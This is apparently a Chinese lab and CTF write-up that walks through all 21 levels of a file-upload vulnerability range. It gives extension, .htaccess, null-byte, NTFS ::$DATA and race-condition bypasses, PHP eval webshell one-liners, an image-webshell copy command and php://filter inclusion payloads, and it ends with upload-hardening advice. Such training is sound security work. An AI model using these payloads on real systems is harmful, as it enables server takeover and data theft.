trim(): :删除字符串两端的空格或其他预定义字符。用trim()函移除字符。我们没有添加移除的字符,就默认移除下列字符"\0" - NULL、"\t" - 制表符、"\n" - 换行、"\x0B" - 垂直制表符、"\r" - 回车、" " - 空格(ltrm、rtrim)

deldot() :把文件后面的点删除windows的特性会自动对后缀名去"." 处理比如: webshell.php. 。

strrchr() :查找字符串在另一个字符串中最后-次出现的位置,并返回从该位置到字符串结尾的所有字符(截取后缀)

str_ireplace():替换字符串中的一些字符(不区分大小写)。遵循的一些规则如果搜索的字符串是一个数组那么它会返回一个数组,且对数组中的每个元素进行查找和替换。(str_replace区分大小写)用str_ireplace(’::$DATA’, ‘’, f i l e e x t ) 函 数 防 止 在 后 缀 中 添 加 " : : file_ext)函数防止在后缀中添加":: fileext)"::DATA"绕过利用windows特性,可在后缀名中加” ::$DATA”绕过

strtolower(): 故名思意

strrpos() 函数查找字符串在另一字符串中最后一次出现的位置。strrpos() 函数对大小写敏感。

  • stripos() - 查找字符串在另一字符串中第一次出现的位置(不区分大小写)
  • strpos() - 查找字符串在另一字符串中第一次出现的位置(区分大小写)
  • strripos() - 查找字符串在另一字符串中最后一次出现的位置(不区分大小写)
    getimagesize() :用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。

通过上面对整体内容有了大概理解。开始闯关刷题。


**场景一 **

Sample

Sample

Sample

绕过前端即可,将文件名改成jpg,上传后用burpsuit修改后缀名,之后查看包反馈的文件路径,再用中国菜刀连接一句话木马,完成夺下目标。这些流程都是一样的,只不过是绕过不妨不同,后面两步在后面不做重复说明。

场景二

Sample

修改类型检查,如上图(箭头提示作用,实际不存在)

场景三

#后缀绕过常用手段
PHP:
php2、php3、php5、phtml、pht(是否解析需要根据配置文件中设置类型来决定)
ASP:
asa、cer、cdx
ASPX:
ascx、ashx、asac
JSP:
jsp、jspx、jspf

为什么上面的东西可以绕过呢?

这是利用了配置中正则解析的小错误实现的。

这些后缀名都可以被当做php文件执行。符合的后缀包括 php、php3、php4、php5、phtml、pht等,有时候需要挨个进行尝试

如同场景一进行修改后缀操作,不同的是这里不需要改包,通过burpsuit获得上传文件路径即可,直接用中国菜刀进行连接,因为上面的后缀修改后都可以解析成相应的文件(phtml->php)
此处将文件后缀名进行修改即可。


场景四

有两种思路。

1:不能上传php,但能上传php.jpg,php.asd,说明是黑名单限制,但是场景三中方法如:php3,phtml都被限制了,查看提示几乎所有可以绕过的后缀名都被限制了,但是没有禁止.htaccess,可以先上传一个.htaccess覆写后让所有文件解析为php,然后再上传一个图片马

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能

//.htaccess  修改文件
SetHandler application/x-httpd-php

先上传文件.htaccess然后再上传图片格式的一句话木马,之后直接用中国菜刀连接即可。原因:所有图片信息再上面文件的配置下都会解析成php文件。

Sample

Sample

2:后缀名冗余(未知拓展名绕过)绕过,例如修改成one.php.aaa、one.php.xxxx等。然后直接使用中国菜刀连接。

原理:本质为apache解析漏洞。apache中的主配置文件httpd.conf中存在DefaultType用于告诉apache该如何处理未知扩展名的文件,比如something.xxx这样的文件,扩展名是xxx,这肯定不是一个正常的网页或脚本文件,这个参数就是告诉apache该怎么处理这种未知扩展名的文件。

参数DefaultType的默认值是“text/plain”,也就是遇到未知扩展名的文件,就把它当作普通的txt文本或html文件来处理。文件内容为php代码的未知扩展名文件来说也是解析成文本对于something.php.xxx的多扩展名的文件,那么就会被以module方式运行php的apache解析,因为Apache认为一个文件可以拥有多个扩展名,哪怕没有文件名,也可以拥有多个扩展名。Apache认为应该从右到左开始判断解析方法的。如果最右侧的扩展名为不可识别的,就继续往左判断,直到判断到文件名为止。

Sample

未知拓展名漏洞防御解决

解决方案一

在httpd.conf或httpd-vhosts.conf中加入以下语句,从而禁止文件名格式为*.php.*的访问权限:

<FilesMatch “.(php.|php3.|php4.|php5.)”>
Order Deny,Allow
Deny from all

解决方案二

如果需要保留文件名,可以修改程序源代码,替换上传文件名中的“.”为“_”:

$filename = str_replace(’.’, ‘_’, $filename);


场景五\场景六

使用场景四中的增加后缀冗余实现绕过。


场景七

3个思路

1.文件“.”后增加空格。两图

Sample

Sample

2.如场景四,采用后缀名冗余,即使用one.php.xxxx类似的文件名或者改包为这样的文件名绕过。

3.在文件名后加一个".",例如one.php.但是我实际操作的时候需要加上一个空格才会成功。


场景八

很明显,没有过滤尾部".",这样burpsuit在one.php后面加上一个点绕过黑名单检查,并且能被php解析。

Sample


场景九

  1. 利用上述方法中的第7点windows NTFS文件系统特性绕过。传上one.php,burpsuit改包,增加后缀::$DATA即可上传并获得上传路径。
  2. 冗余后缀名

Sample


场景十

冗余后缀名。。。。(真好用,大部分黑名单都可以过,更说明黑名单是很不安全的)


场景十一

这个上传发现什么都可以传,但是其后缀被修改了,无法正常解析。因为下面这句新增的控制语句:

$file_name = str_ireplace($deny_ext,"", $file_name);

说明只要出现黑名单里面的字样都会被替换成空格。有什么办法绕过呢?这个就像脑筋急转弯一样。

我们不妨构造类似pphphp这种字段的后缀,这里有个地方可以思考,那就是构造这种模式的字符串是按照从前往后替换还是从前往后替换呢?也就是pphphp、phphpp是否能行?都行,还是那个行那个不行。这个可以动手尝试一下

pphphp(php) phphpp(hpp)


场景十二

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

截断条件:
php版本小于5.3.4 详情关注CVE-2006-7243
php的magic_quotes_gpc为OFF状态

Sample

做题之前先要把网站中的php.ini中的安全设置修改一下。

php.ini文件里的magic_quotes_gpc设成了off,那么PHP就不会在敏感字符前加上反斜杠(\)

通过 上面的场景,黑名单虽然对很多的文件上传都做了限制,规定那些不能上传,但是总是有一些其他的方法可以实现绕过,所以黑名单是相对于白名单来说安全级别很低的。

这个场景是一个白名单。并且文件名是拼接而成。

$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

可以通过截断上传(0x00,%00,/00 )实现。

Sample

Sample


场景十三

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传失败";
        }
    } else {
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

可以看到文件路径中的$_GET[‘save_path’]变成了 $_POST[‘save_path’]。这又会造成什么区别呢?

post不会像get对%00进行自动解码

也就是说我们不能直接在包中直接加入截断字符了需要手动进行url编码处理。

Sample

Sample

这里上传路径后加一个A是为了方便寻找我们需要修改的地方,也可以不加。

成功上传图片马。


场景十四

这题是上传图片马,但是想要利用图片马还需要结合文件包含漏洞,所以本题只需要上传三种图片格式的文件码就行了。

制作图片马方法:

copy normal.jpg /b + shell.php /a webshell.jpg

直接通过抓包改包也可以直接上传只修改了后缀的一句话木马php文件。


场景十五

通过getimagesize()函数来实现对文件类型的识别判断。也就是说用burpsuit改包的方法操作就复杂了,直接合成一张木马图上传即可(与十四相同)


场景十六

通过函数exif_imagetype()函数获得图片文件的类型,从而实现文件白名单的过滤操作。不能抓包改包实现,依旧使用图片马合成。


场景十七

Sample

要通过二次渲染来上传图片文件,所以普通的图片马不能顺利上传,需要是使用二次渲染绕过(见上文知识点),制作后和前面场景一样直接上传图片即可完成。


场景十八

这是一个条件竞争的场景

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}

先将文件上传到服务器,然后通过rename修改名称,再通过unlink删除修改名称后的文件,这里可以通过条件竞争的方式在unlink之前,访问webshell。
首先在burp中不断发送上传webshell的数据包即可。(参考上述知识点9条件竞争)

为什么可以这样操作呢?之前的场景为什么不行呢?我们可以仔细看到这里的代码是不一样的构造。

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}

其实这个代码都没啥大问题,执行下来都是OK的,但是这里是这样操作的,先通过move_uploaded_file把文件保存了,然后再去判断后缀名是否合法,合法就重命名,如果不合法再删除。重是重点在于,在多线程情况下,就有可能出现还没处理完,我们就访问了原文件,这样就会导致被绕过防护。下面是我随便找的之前的某一关,很明显看到之前代码是先改名,再移动保存。所以可以用条件竞争打他个措手不及,使得文件保存了但是没能及时处理。

在这里插入图片描述

Sample


场景十九

<li id="show_code">
    <h3>index.php代码</h3>
<pre>
<code class="line-numbers language-php">//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
    require_once("./myupload.php");
    $imgFileName =time();
    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
    $status_code = $u->upload(UPLOAD_PATH);
    switch ($status_code) {
        case 1:
            $is_upload = true;
            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
            break;
        case 2:
            $msg = '文件已经被上传,但没有重命名。';
            break; 
        case -1:
            $msg = '这个文件不能上传到服务器的临时文件存储目录。';
            break; 
        case -2:
            $msg = '上传失败,上传目录不可写。';
            break; 
        case -3:
            $msg = '上传失败,无法上传该类型文件。';
            break; 
        case -4:
            $msg = '上传失败,上传的文件过大。';
            break; 
        case -5:
            $msg = '上传失败,服务器已经存在相同名称文件。';
            break; 
        case -6:
            $msg = '文件无法上传,文件不能复制到目标目录。';
            break;      
        default:
            $msg = '未知错误!';
            break;
    }
}

//myupload.php
class MyUpload{
......
......
...... 
  var $cls_arr_ext_accepted = array(
      ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
      ".html", ".xml", ".tiff", ".jpeg", ".png" );

......
......
......  
  /** upload()
   **
   ** Method to upload the file.
   ** This is the only method to call outside the class.
   ** @para String name of directory we upload to
   ** @returns void
  **/
  function upload( $dir ){
    
    $ret = $this->isUploadedFile();
    
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->setDir( $dir );
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkExtension();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkSize();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }
    
    // if flag to check if the file exists is set to 1
    
    if( $this->cls_file_exists == 1 ){
      
      $ret = $this->checkFileExists();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }

    // if we are here, we are ready to move the file to destination

    $ret = $this->move();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }

    // check if we need to rename the file

    if( $this->cls_rename_file == 1 ){
      $ret = $this->renameFile();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }
    
    // if we are here, everything worked as planned :)

    return $this->resultUpload( "SUCCESS" );
  
  }
......
......
...... 
};
</code>
</pre>
</li>

根据apache的后缀名识别漏洞:从右往左依次识别后缀,遇到不能识别的后缀名便跳过 ,因此可以文件名改为

1.php.7z,然后利用bs 快速发包,

本关对文件后缀名做了白名单判断,然后会一步一步检查文件大小、文件是否存在等等,将文件上传后,对文件重新命名,同样存在条件竞争的漏洞。可以不断利用burp发送上传图片马的数据包,因为move在rename之前,move操作进行了一次文件保存,然后rename进行了一次更改文件名,由于条件竞争,程序会出现来不及rename的问题,从而上传成功

所以本题相对上题是差不多的,只不过多了一部操作而已:增加Apache的解析识别漏洞(后缀冗余)

(1)利用Apache 的漏洞,将webshell 脚本文件名改为1.php.7z (白名单中 有.7z 这个apache 不能识别的后缀,所以用.7z)

然后利用bs 去不断快速发包,实现条件竞争,进而保留了脚本名,使apache 将其识别为1.php

(2)单纯利用 条件竞争,利用bs 去不断快速发包,实现条件竞争,进而保留了图片马的文件名,成功绕过


场景二十

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = $_POST['save_name'];
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

        if(!in_array($file_ext,$deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) { 
                $is_upload = true;
            }else{
                $msg = '上传出错!';
            }
        }else{
            $msg = '禁止保存为该类型文件!';
        }

    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

是个黑名单的限制

  1. 看了一些黑名单,发现程序中没有大小写统一,后缀用大小写绕过。one.phP,成功上传。。。。可能是非预期解,要不然为什么放低二十关,黑名单真的不安全。。一不小心就漏了什么。

  2. 也是一个文件名路径拼接的问题,可以用场景十二中的字符串截断来实现绕过(0x00、%00)。

  3. 递归删除文件名最后的/.导致绕过了后缀名检测,在bs中将文件名改为:1.php/. 成功绕过。


场景二十一

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //检查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上传该类型文件!";
    }else{
        //检查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上传该后缀文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功!";
                $is_upload = true;
            } else {
                $msg = "文件上传失败!";
            }
        }
    }
}else{
    $msg = "请选择要上传的文件!";
}

end函数取所post参数数组中的最后一个值,$ file_name = reset($ file) . ‘.’ . $ file[count($ file) - 1]我们可以post一个参数名为一个[0]一个[2],然后$ file[count($ file) - 1]就为空,$ file_name最终就为reset($ file)即$ file[0],就可以绕过判断。

在这里插入图片描述


就此该靶场二十一个关卡就已经全部完成了。相比你对整个文件上传有了大概了理解,还是建议下载靶场自己进行实践操作才能对知识有很好的吸收。


==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ====


CTF实战-知识补充

下面两题是CTF实例题目,并且知识点是上面没有包含的,在这补充,并且作为一个巩固练习。


Easy Gallery

题目链接

1.先改文件名,无效,不是前端校验。

2.再改Content-Type,无效。

3.有因为限制是图片上传,所以肯定是图片马了。制作一个图片马。

<?php
@eval($_POST['cmd']);
?>

4.上传成功。尝试连接?发现奇怪后缀~~

在这里插入图片描述
5.尝试截断。打开发现。。。不让操作。
在这里插入图片描述
6.可能是php一句话的什么被过滤了,换用:

<script language="php">@eval_r($_POST['cmd'])</script>

在这里插入图片描述
在这里插入图片描述
7.重复操作,得到flag!


bugku ctf之文件上传2

湘湖杯比赛题,环境目前没找到,在很多安全题库的平台应该有,我没有去翻,先看两种思路。

参考:https://www.jianshu.com/p/bf45138d4e13 https://www.jianshu.com/p/59730b290120

1.打开网站,是一个上传文件的网页,那我们先按照要求上传png文件试试,上传图片说打不开图片,陷入迷茫。那应该不是靠一句话菜刀,因为根本加载不出来,我觉得不可能没有php代码,于是在op后面构造

op=index.php 提示我们不存在这样的页面 但事实是存在的

op=index 没有出现提示 但页面是空的

op=php://filter/read=convert.base64-encode/resource=index

​结果得到下面代码

<?php
error_reporting(0);
define('FROM_INDEX', 1);
$op = empty($_GET['op']) ? 'home' : $_GET['op'];
if(!is_string($op) || preg_match('/\.\./', $op))
    die('Try it again and I will kill you! I freaking hate hackers!');
ob_start('ob_gzhandler');
function page_top($op) {
?><!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Panduploader::<?= htmlentities(ucfirst($op)); ?></title>
</head>
<body>
<div id="header">
<center><a href="?op=home" class="logo"><img src="images/logo.jpg" alt=""></a></center>
</div>
<div id="body">
<?php
}
function fatal($msg) {
?><div class="article">
<h2>Error</h2>
<p><?=$msg;?></p>
</div><?php
exit(1);
}
function page_bottom() {
?>
    </div>
    <center>
<div id="footer">
<div>
<p>
<span>2017 &copy; </span> All rights reserved.
</p>
</div>
</div>
</center>
</body>
</html><?php
ob_end_flush();
}
register_shutdown_function('page_bottom');
page_top($op);
if(!(include $op . '.php'))
    fatal('no such page');
?>        //缩短长度把转行都去了

通过这个分析,大概懂了为什么文件加.php提醒没有此页面的原因。

通过御剑后台扫描扫描出后台的信息,有flag.php页面,则

op=php://filter/read=convert.base64-encode/resource=flag

则获得flag的base64加密后的数据,进行解密,获得flag。

2.看到file还有题目名就想包含一下,当然是尝试的flag.php,结果什么都没有,用php://filter试试发现作者已经过滤了。右键源码看到upload.php上传文件名为1.php;.jpg,绕过检测,包含一下发现一句话的<?php?>这些字符被过滤,从其他文章处看到构造了上传得到flag

3.尝试构造payload来进行测试php://filter/read=convert.base64-encode/resource=flag得到的结果再在base64解码就可以得到flag了

4.点开链接发现什么都没有用御剑扫一下后台看看有没有隐藏文件其他php文件打开都是空页,index.php打开没什么不一样,下载111.zip用phpstorm打开,得到flag发现这就是个文件。


==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ====


文件上传漏洞防御

首先,上传的文件能够被Web容器解释执行。所以文件上传后所在的目录要是Web容器所覆盖到的路径。
其次,用户能够从Web上访问这个文件。如果文件上传了,但用户无法通过Web访问,或者无法得到Web容器解释这个脚本,那么也不能称之为漏洞。
最后,用户上传的文件若被安全检查、格式化、图片压缩等功能改变了内容,则也可能导致攻击不成功。

防范文件上传漏洞常见的几种方法:

1.文件上传的目录设置为不可执行
只要web容器无法解析该目录下面的文件,即使攻击者上传了脚本文件,服务器本身也不会受到影响,因此这一点至关重要。

2.判断文件类型
在判断文件类型时,可以结合使用MIME Type、后缀检查等方式。在文件类型检查中,强烈推荐白名单方式,黑名单的方式已经无数次被证明是不可靠的。此外,对于图片的处理,可以使用压缩函数或者resize函数,在处理图片的同时破坏图片中可能包含的HTML代码。

3.使用随机数改写文件名和文件路径
文件上传如果要执行代码,则需要用户能够访问到这个文件。在某些环境中,用户能上传,但不能访问。如果应用了随机数改写了文件名和路径,将极大地增加攻击的成本。再来就是像shell.php.rar.rar和crossdomain.xml这种文件,都将因为重命名而无法攻击。

4.单独设置文件服务器的域名
由于浏览器同源策略的关系,一系列客户端攻击将失效,比如上传crossdomain.xml、上传包含Javascript的XSS利用等问题将得到解决。

系统开发阶段的防御
系统开发人员应有较强的安全意识,尤其是采用PHP语言开发系统。在系统开发阶段应充分考虑系统的安全性。对文件上传漏洞来说,最好能在客户端和服务器端对用户上传的文件名和文件路径等项目分别进行严格的检查。客户端的检查虽然对技术较好的攻击者来说可以借助工具绕过,但是这也可以阻挡一些基本的试探。服务器端的检查最好使用白名单过滤的方法,这样能防止大小写等方式的绕过,同时还需对%00截断符进行检测,对HTTP包头的content-type也和上传文件的大小也需要进行检查。
系统运行阶段的防御
系统上线后运维人员应有较强的安全意思,积极使用多个安全检测工具对系统进行安全扫描,及时发现潜在漏洞并修复。定时查看系统日志,web服务器日志以发现入侵痕迹。定时关注系统所使用到的第三方插件的更新情况,如有新版本发布建议及时更新,如果第三方插件被爆有安全漏洞更应立即进行修补。对于整个网站都是使用的开源代码或者使用网上的框架搭建的网站来说,尤其要注意漏洞的自查和软件版本及补丁的更新,上传功能非必选可以直接删除。除对系统自生的维护外,服务器应进行合理配置,非必选一般的目录都应去掉执行权限,上传目录可配置为只读。


==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ====


结语

文件上传漏洞是一种很常见的漏洞,CTF赛事中也时常出现,值得去细细品味和欣赏,同时从中获得启发。无论是CTF比赛还是渗透实战,对于每一个小块知识点都要去咀嚼品味,一步步去实践才能进步,以此文共勉激励。

其他优秀博文:
python沙箱逃逸
shellcode利用和生成
隐写分析框架
靶场环境、资源://download.csdn.net/download/qq_43390703/12248471
参考文章:

https://www.jianshu.com/p/5ebba0482980

https://www.jianshu.com/p/7842ee248621

https://www.cnblogs.com/sylover/p/10838820.html

https://www.jianshu.com/p/4043a97477b3?from=timeline&isappinstalled=0

Logo

旨在为数千万中国开发者提供一个无缝且高效的云端环境,以支持学习、使用和贡献开源项目。

更多推荐